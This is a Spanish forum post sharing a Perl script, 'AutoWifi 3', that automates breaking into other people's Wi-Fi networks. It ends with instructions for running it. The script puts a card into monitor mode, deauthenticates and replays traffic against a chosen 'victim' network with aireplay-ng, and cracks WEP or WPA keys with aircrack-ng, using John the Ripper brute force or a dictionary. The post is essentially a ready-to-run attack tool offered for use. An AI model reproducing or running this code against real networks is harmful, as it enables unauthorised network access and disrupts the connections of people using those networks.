AutoWifi 3 es un script creado por DarkSpark, lo he usado en ubuntu y es muy bueno.
http://darkspark.diosdelared.com/index.php?coment=7478 (http://darkspark.diosdelared.com/index.php?coment=7478)
#!/usr/bin/perl
system("clear");
$home="~/autowifi";
$clear=system("$clear");
$hometerm="--workdir /root/autowifi";
system ("cd ~ ; mkdir autowifi");
print "******************************************\n";
print "* AUTOWIFI 3 BY DarkSpark *\n";
print "******************************************\n";
sleep (3);
monitor:
print "seleccione la tarjeta de red que se usara\nejemplo:eth1,ath0,ra0\n\n";
system ("iwconfig");
chomp ($inter=<STDIN>);
system("clear");
print "intentando poner la tarjeta en modo monitor...\n";
sleep(4);
system("lspci | grep Ethernet > $home/lspci.txt");
my $entrada="/root/autowifi/lspci.txt";
open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
$lspci=join("",<ENTRADA>);
if ($lspci=~/Atheros/){
system("lsmod | grep ath > $home/lsmod.txt");
my $entrada="/root/autowifi/lsmod.txt";
open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
$lsmod=join("",<ENTRADA>);
if ($lsmod=~/ath_pci/){
system ("ls /usr/bin | grep wlanconfig > $home/madwifi.txt");
my $entrada="/root/autowifi/madwifi.txt";
open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
$madwifi=join("",<ENTRADA>);
if ($madwifi=~/wlanconfig/){
system ("wlanconfig $inter destroy ; wlanconfig $inter create wlandev wifi0 wlanmode monitor");
}
else{
print " el paquete madwifi no esta instalado,\n instale el paquete para poder continuar\n";
system ("rm -r $home");
exit;
}
}
else {
system("airmon-ng start wifi0");
$inter="mon0";
}
}
else{
system("airmon-ng start $inter");
$inter="mon0";
}
monitorcheck:
system("clear");
print " verificando si la tarjeta esta en modo monitor...\n";
sleep(3);
system ("iwconfig > $home/monitor.txt");
my $entrada="/root/autowifi/monitor.txt";
open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
$monitor=join("",<ENTRADA>);
if ($monitor=~/Monitor/){
system ("clear");
print " Modo monitor correcto\n";
sleep(3);
goto menu0;
}
elsif ($monitor=~/mon0/ and $inter!="mon0"){
system("clear");
print "la tarjeta esta en modo monitor pero cambio de nombre\nvuelava a ingresar el nombre de la tarjeta que esta en modo monitor\n\n";
sleep(3);
system("iwconfig");
chomp($inter=<STDIN>);
goto monitorcheck;
}
else{
system("clear");
print "no fue posible poner la tarjeta en modo monitor\nseleccione una opcion para continuar:\n\n";
print "[1] Poner en modo monitor manualmete y continuar\n(hacerlo usted mismo y continuar)\n";
print "[2] Salir\n\n";
chomp($action=<STDIN>);
if ($action eq 1){
goto menu0;
}
elsif ($action eq 2){
system ("rm -r $home");
exit;
}
else{
print "la opcion no existe\n";
system ("rm -r $home");
exit;
}
}
menu0:
system ("clear");
print " copie y pege la mac adress o HWaddr la interfaz \n";
print " (12 digitos)\n";
system ("ifconfig $inter");
$mimac = <STDIN>;
chomp ($mimac);
system ("clear");
menu:
system ("clear");
print "seleccione una opcion\n\n\n\n";
print "[1] sacar clave WEP\n";
print "[2] sacar clave WPA sin diccionario (john)\n";
print "[3] sacar clave WPA con diccionario\n";
print "[4] salir\n";
chomp($ataque = <STDIN>);
system ("clear");
if ( $ataque == 1 ){
print " espere a ver las redes disponibles y presione Ctrl+C para continuar\n";
sleep (4);
system ("airodump-ng $inter");
print " seleccione el canal de la red victima\n";
$can=<STDIN>;
chomp ($can);
print " \ncopie y pegue el nombre de la red (ESSID)\n";
$essid=<STDIN>;
chomp ($essid);
print " \ncopie y pegue la mac adress de la red (BSSID)\n";
$bssid=<STDIN>;
chomp ($bssid);
$canal = "-c $can";
$arch = "-w wep";
$ess = "-e $essid";
$bss = "-a $bssid";
$bss1 = "-b $bssid";
$mac = "-h $mimac";
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
system ("clear");
sleep (5);
system (" konsole $hometerm -e aireplay-ng -1 0 $ess $bss $mac $inter ");
sleep (15);
system ("clear");
system ("konsole $hometerm -e aireplay-ng -3 -x 1024 $bss1 $mac $inter &");
system ("clear");
sleep (20);
system ("cd $home ; aircrack-ng $bss1 wep-01.cap");
system ("killall airodump-ng");
system ("killall aireplay-ng");
print "copie y guarde la contraseíña y presione ENTER para continuar\n";
$cont = <STDIN>;
system ("cd $home ; rm *");
goto menu;
}
elsif ( $ataque == 2 ){
print " espere a ver las redes disponibles, los clientes conectados a la red victima\n";
print " y presione Ctrl+C para continuar\n";
sleep (4);
system ("airodump-ng $inter");
print " seleccione el canal de la red victima\n";
$can=<STDIN>;
chomp ($can);
print " \ncopie y pegue el nombre de la red (ESSID)\n";
$essid=<STDIN>;
chomp ($essid);
print " \ncopie y pegue la mac adress de la red (BSSID)\n";
$bssid=<STDIN>;
chomp ($bssid);
print " \ncopie y pege la mac adress del cliente (STATION) asociado \n";
print " al BSSID que acaba de introducir \n";
$cliente = <STDIN>;
chomp ($cliente);
$cli = " -c $cliente";
$canal = "-c $can";
$arch = "-w wpa";
$ess = "-e $essid";
$bss = "-a $bssid";
$bss1 = "-b $bssid";
$mac = "-h $mimac";
brute:
system ("clear");
print " seleccione el ataque de fuerza bruta a utilizar\n";
print "[1] Solo Letras\n";
print "[2] Solo Numeros\n";
print "[3] Letras y Numeros\n";
print "[4] Todos los Caracteres\n";
chomp($brute=<STDIN>);
if ($brute==1){
system ("clear");
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
sleep (5);
system ("konsole $hometerm -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (10);
system ("cd $home ; john -incremental=alpha --stdout | aircrack-ng -a 2 -w - $ess wpa-01.cap");
}
elsif ($brute eq 2){
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
sleep (5);
system ("konsole $hometerm -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (10);
system ("cd $home ; john -incremental=digits --stdout | aircrack-ng -a 2 -w - $ess wpa-01.cap");
}
elsif ($brute eq 3){
system ("clear");
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
sleep (5);
system ("konsole $hometerm -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (10);
system ("cd $home ; john -incremental=alnum --stdout | aircrack-ng -a 2 -w - $ess wpa-01.cap");
}
elsif ($brute eq 4){
system ("clear");
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
sleep (5);
system ("konsole $hometerm -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (10);
system ("cd $home ; john -incremental=all --stdout | aircrack-ng -a 2 -w - $ess wpa-01.cap");
}
else{
system("clear");
print "La Opcion No Existe\n";
sleep(3);
goto brute;
}
system ("killall airodump-ng");
system ("killall aireplay-ng");
print " copie y guarde el password y presione ENTER para continuar\n";
$cont1 = <STDIN>;
system ("cd $home ; rm *");
goto menu;
}
elsif ($ataque eq 3){
print " espere a ver las redes disponibles, los clientes conectados a la red victima\n";
print " y presione Ctrl+C para continuar\n";
sleep (4);
system ("airodump-ng $inter");
print " seleccione el canal de la red victima\n";
$can=<STDIN>;
chomp ($can);
print " \ncopie y pegue el nombre de la red (ESSID)\n";
$essid=<STDIN>;
chomp ($essid);
print " \ncopie y pegue la mac adress de la red (BSSID)\n";
$bssid=<STDIN>;
chomp ($bssid);
print " \ncopie y pege la mac adress del cliente (STATION) asociado \n";
print " al BSSID que acaba de introducir \n";
$cliente = <STDIN>;
chomp ($cliente);
print "Escriba la ruta del diccionario que se va a utilizar\n";
sleep(3);
chomp($dic=<STDIN>);
$dicc= "-w $dic";
$cli = " -c $cliente";
$canal = "-c $can";
$arch = "-w wpa";
$ess = "-e $essid";
$bss = "-a $bssid";
$bss1 = "-b $bssid";
$mac = "-h $mimac";
system ("konsole $hometerm -e airodump-ng $canal $arch $inter & ");
system ("clear");
sleep (5);
system ("konsole $hometerm -e aireplay-ng -0 30 $ess $bss $cli $inter &");
sleep (5);
system ("cd $home ; aircrack-ng -a 2 $dicc $ess wpa-01.cap");
system ("killall airodump-ng");
system ("killall aireplay-ng");
print " copie y guarde el password y presione ENTER para continuar\n";
$cont1 = <STDIN>;
system ("cd $home ; rm *");
goto menu;
}
elsif ($ataque == 4){
system ("cd $home ; rm -r autowifi");
system("lsmod | grep ath > $home/lsmodsalida.txt");
my $entrada="/root/autowifi/lsmodsalida.txt";
open (ENTRADA,"<$entrada") || die "ERROR: No puedo abrir el fichero $entrada\n";
$lsmod2=join("",<ENTRADA>);
if ($lsmod2=~/ath_pci/){
system ("wlanconfig $inter destroy ; wlanconfig $inter create wlandev wifi0 wlanmode managed");
}
elsif($lsmod2=~/ath5k/ or $lsmod2=~/ath9k/){
system("airmon-ng stop wifi0 ; airmon-ng stop $inter");
}
else{
system("airmon-ng stop $inter");
}
system ("clear");
system ("rm -r $home");
exit;
}
else{
system("clear");
print "La opcion No Existe\n";
sleep(3);
goto menu;
}
es un script en perl se copia el cídigo se pega en un archivo de texto y se le pone la extensiín .pl y se puede ejecutar poniendo en una consola
perl NOMBRE-DEL-SCRIPT.pl
o bien darle permisos de ejecucion y ejecutarlo simplemente con
./nombre-del-script.pl
PD: http://darkspark.diosdelared.com/?coment=9545 (http://darkspark.diosdelared.com/?coment=9545)